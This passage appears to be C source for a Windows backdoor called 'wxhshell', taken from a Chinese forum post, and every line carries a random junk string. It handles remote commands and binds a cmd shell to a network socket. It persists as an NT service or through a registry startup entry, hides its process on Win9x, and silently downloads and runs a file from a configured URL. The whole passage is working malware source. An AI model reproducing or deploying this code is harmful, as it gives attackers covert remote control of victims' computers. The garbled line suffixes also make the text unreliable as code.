    switch(cmd[0]) { gb@ |\n  
  My\  
  // 帮助 s`"ALn8m  
  case '?': { .X(ocs$}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); da53XEF&  
    break; ^p!bteA>  
  } s*W)BK|+?  
  // 安装 ]<\; -i)  
  case 'i': { Ow7I`#P  
    if(Install()) >zWVM1\\j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); POvpaPAZ<  
    else kEs=N(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *oz=k  
    break; 0!,)7  
    } .j0]hn]  
  // 卸载 {T[/B"QZG  
  case 'r': { rCO:39L-  
    if(Uninstall()) "rI By  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o'nrLI(t  
    else =AJ I3 'x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2 -M]!x)  
    break; A[m4do  
    } D^H<)5d9  
  // 显示 wxhshell 所在路径 ld*RL:G  
  case 'p': { Rd.[8#7VE  
    char svExeFile[MAX_PATH]; G0eJ<*|_ 3  
    strcpy(svExeFile,"\n\r"); Ig6>+Mw  
      strcat(svExeFile,ExeFile); mLn =SU{#  
        send(wsh,svExeFile,strlen(svExeFile),0); q7% eLJ  
    break; P=9Zm  
    } ^NTOZ0x~#  
  // 重启 =xX\z\[A  
  case 'b': { 6">jf #pE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'zhw]L;'g  
    if(Boot(REBOOT)) $W;IW$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); id.W"5+  
    else { J8yi#A>+  
    closesocket(wsh); y3!=0uPf  
    ExitThread(0); DqHVc)9  
    } ^y"$k  
    break; =7`0hS<@F  
    } l7r!fAV-f  
  // 关机 tEl4 !v A  
  case 'd': { p }bTI5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fE/8;v!=  
    if(Boot(SHUTDOWN)) -j_J 1P0,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8}W06k>)%  
    else { :1wMGk  
    closesocket(wsh); B1A5b=6G<  
    ExitThread(0); 2JYt.HN  
    } YA>du=6y\  
    break; `$\Y,9E}x  
    } ;pNHT*>u,  
  // 获取shell $|YIr7?R  
  case 's': { c#e_Fs  
    CmdShell(wsh); 8EPV\M1%  
    closesocket(wsh); 0fPqO2  
    ExitThread(0); %?EOD=e =  
    break; *<!W k\  
  } =`X@+~%-  
  // 退出 #={L!"3?e  
  case 'x': { D4r5wc%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZCMB]bL-e  
    CloseIt(wsh); EhybaRy;C  
    break; ?fEX&t,'  
    } 2eu`X2IBcT  
  // 离开 ${ ~UA 6  
  case 'q': { 8E Y< ^:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5b[:B~J  
    closesocket(wsh); aM9St!i  
    WSACleanup(); O.E   
    exit(1); `B6{y9J6  
    break; rQ'tab.,]  
        } G1~|$X@@  
  } k[ Iwxl;/  
  } 8Db~OYVJG  
bhSpSul  
  // 提示信息 < P5;8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q9oF8&O,  
} Co19^g*  
  } iEki<e/  
7`tnoTUv  
  return; v-) eT  
} ]T(O;y*m   
"=<l Pi  
// shell模块句柄 xIrpGLPSh  
int CmdShell(SOCKET sock) d #a  
{ Ik1,?A  
STARTUPINFO si; IO xj$?%l  
ZeroMemory(&si,sizeof(si)); -& kQlr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KF'H|)!K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *4qsM,t  
PROCESS_INFORMATION ProcessInfo; tT yu,%/m  
char cmdline[]="cmd"; .KT+,Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c)SSi@< cv  
  return 0; .tN)H1.:B  
} 2>O2#53ls0  
J6 [x(T  
// 自身启动模式 u?g!E."v  
int StartFromService(void) gqD`1/  
{ P+3G*M=}  
typedef struct ".xai.trr  
{ s80_e  
  DWORD ExitStatus; #G.3a]p}"  
  DWORD PebBaseAddress; 2a=WT`xf ?  
  DWORD AffinityMask; 7 Nwi\#o  
  DWORD BasePriority; 0v0Y( Mo@  
  ULONG UniqueProcessId; >W'SG3Hmc  
  ULONG InheritedFromUniqueProcessId; 2c%}p0<;|?  
}   PROCESS_BASIC_INFORMATION; ,0&lag  
XU9=@y+|v  
PROCNTQSIP NtQueryInformationProcess; ^ MJGY,r6b  
hCT%1R}rKr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #4//2N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -t6d`p;dR  
/"CKVQ  
  HANDLE             hProcess; 4Ro(r sO  
  PROCESS_BASIC_INFORMATION pbi; BQS9q'u_  
I I>2\d|   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sjTsaM;<  
  if(NULL == hInst ) return 0; [k'Ph33c  
c(#`z!FB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <YeF?$S}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G<jpJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U-FA^c;  
6@XutciK  
  if (!NtQueryInformationProcess) return 0; -;P<Q`{I  
N^ D/}n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Xb^\{s?b  
  if(!hProcess) return 0; NxXVW  
RaU.yCYyu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ix"c<1 I  
cZ!s/^o?f  
  CloseHandle(hProcess); iQ9#gPk_9  
uAjGR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <Z m ,q}  
if(hProcess==NULL) return 0; gv[7h'}<  
l(]\[}.5  
HMODULE hMod; 5&X  
char procName[255]; Ve8!   
unsigned long cbNeeded; ==XP}w)m  
9)l_(*F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y9*H  
k9Sqp :l,  
  CloseHandle(hProcess); q6Q=Zo@  
|Lhz^5/  
if(strstr(procName,"services")) return 1; // 以服务启动 oyr2lfz*  
|~HlNUPR  
  return 0; // 注册表启动 R NA03  
} amBz75N{  
:x{Q  
// 主模块 68HX,t  
int StartWxhshell(LPSTR lpCmdLine) {-Y_8@&  
{ kuH;AMdv  
  SOCKET wsl; #`p>VXBj!  
BOOL val=TRUE; GVl u4  
  int port=0; r0 X2cc  
  struct sockaddr_in door; 7@lXN8_f  
j&Hn`G  
  if(wscfg.ws_autoins) Install(); *(vq-IE\$  
-YuvEm#f  
port=atoi(lpCmdLine); k( g$_ ]X  
7&At _l_  
if(port<=0) port=wscfg.ws_port; sN C?o[9l!  
hL`zV  
  WSADATA data; uf;q/Wr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Vd?v"2S(9  
m_(hCY=Q$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i52R,hz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1!f'nS  
  door.sin_family = AF_INET; EORRSP,$2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vfv5ex(  
  door.sin_port = htons(port); '.K,EM!-~h  
Wl#^Eu\g1W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {;4PP463  
closesocket(wsl); k_a'a)`$6  
return 1; ob00(?;H  
} NZTYT\7  
ya_'Oz!C  
  if(listen(wsl,2) == INVALID_SOCKET) { U2AGH2emw  
closesocket(wsl); vLS9V/o  
return 1; !X8UP{J)L  
} o(``7A@7a  
  Wxhshell(wsl); RE.@ +A  
  WSACleanup(); AfEEYP)N  
+z D'r5  
return 0; x5|v# -F ^  
V1:3  
} ]T51;j'48  
|f:d72{Qr  
// 以NT服务方式启动 q8h{-^"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Qwa"AY 5pW  
{ ?8,N4T0)  
DWORD   status = 0; +wUhB\F *  
  DWORD   specificError = 0xfffffff; Dgm%Ng  
84!4Vz^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; SNU bY6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {T.Vu]L80  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ->hxHr`!%a  
  serviceStatus.dwWin32ExitCode     = 0; m6x. "jG  
  serviceStatus.dwServiceSpecificExitCode = 0; Yy)a,clZ*$  
  serviceStatus.dwCheckPoint       = 0; `_'Dj>  
  serviceStatus.dwWaitHint       = 0; 3kQ^f=Wd  
>slN:dr0:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4sj%:  
  if (hServiceStatusHandle==0) return; nwo!A3w:  
IA^)`l7H  
status = GetLastError(); 7S2F^,w  
  if (status!=NO_ERROR) 3rY /6{  
{ Mak9qaWqF>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BZ<z@DJp  
    serviceStatus.dwCheckPoint       = 0; G zXP  
    serviceStatus.dwWaitHint       = 0; ]'h)7  
    serviceStatus.dwWin32ExitCode     = status; #5C3S3e=  
    serviceStatus.dwServiceSpecificExitCode = specificError; O|RO j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DjIswI1I  
    return; #(IMRdUf  
  } )M N yOj  
'c[LTpn4=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DP_Pqn8p&M  
  serviceStatus.dwCheckPoint       = 0; <PN;D#2bh  
  serviceStatus.dwWaitHint       = 0; />[6uvy#Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4)iEj  
} <e&QTyb  
aTh%oBrtP  
// 处理NT服务事件,比如:启动、停止 s~$4bN>LD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (YJ AT  
{ #=H}6!18  
switch(fdwControl) JX)z<Dz$  
{ -b)zira  
case SERVICE_CONTROL_STOP: ,:(leWeA9  
  serviceStatus.dwWin32ExitCode = 0; *wB-lg7%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,A!e"=HF  
  serviceStatus.dwCheckPoint   = 0; MJ9SsC1  
  serviceStatus.dwWaitHint     = 0; jN} 7Bb X  
  { ePpK+E[0Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~9 WJrRWB  
  } ,Q#tA|:8j  
  return; '<=MhNh\  
case SERVICE_CONTROL_PAUSE: D Ok^ON  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aaug u.9  
  break; I!7.fuO  
case SERVICE_CONTROL_CONTINUE: W:poUG1UR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !(_xu{(DL  
  break; K2rS[Kdfaq  
case SERVICE_CONTROL_INTERROGATE: z83:a)U  
  break; `VFl|o#H  
}; ZU.)K>'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :ZfUjqRE  
} ,N7l/6  
;vclAsJ  
// 标准应用程序主函数 ~R@m!'I k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :/[YY?pg-  
{ : |*,Lwvd  
sHTePEJ_h  
// 获取操作系统版本 @*"<U]  
OsIsNt=GetOsVer(); /-YlC (kL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /N]Ow  
&#oZ>`Qu  
  // 从命令行安装 )4)iANH?  
  if(strpbrk(lpCmdLine,"iI")) Install(); `;qv}  
xFm{oJ!]&  
  // 下载执行文件 C$RAJ  
if(wscfg.ws_downexe) { Omh&)|Iql  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Fl+tbF  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]t*P5  
} FV6he [,  
7k t7^V<  
if(!OsIsNt) { =E}%>un  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,o>pmaoLs  
HideProc(); eN<pU%7  
StartWxhshell(lpCmdLine); \m~\,em  
} v6P~XK}G  
else R`C_CsXir  
  if(StartFromService()) "">fn(  
  // 以服务方式启动 %cr]ZR  
  StartServiceCtrlDispatcher(DispatchTable); PDq}Tq  
else LYy:IBI7_  
  // 普通方式启动 T3t~=b>&L  
  StartWxhshell(lpCmdLine); Ul713Bjz  
{8Jk=)(md  
return 0; <#p|z`N  
}
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只看该作者 1 发表于: 2006-10-10
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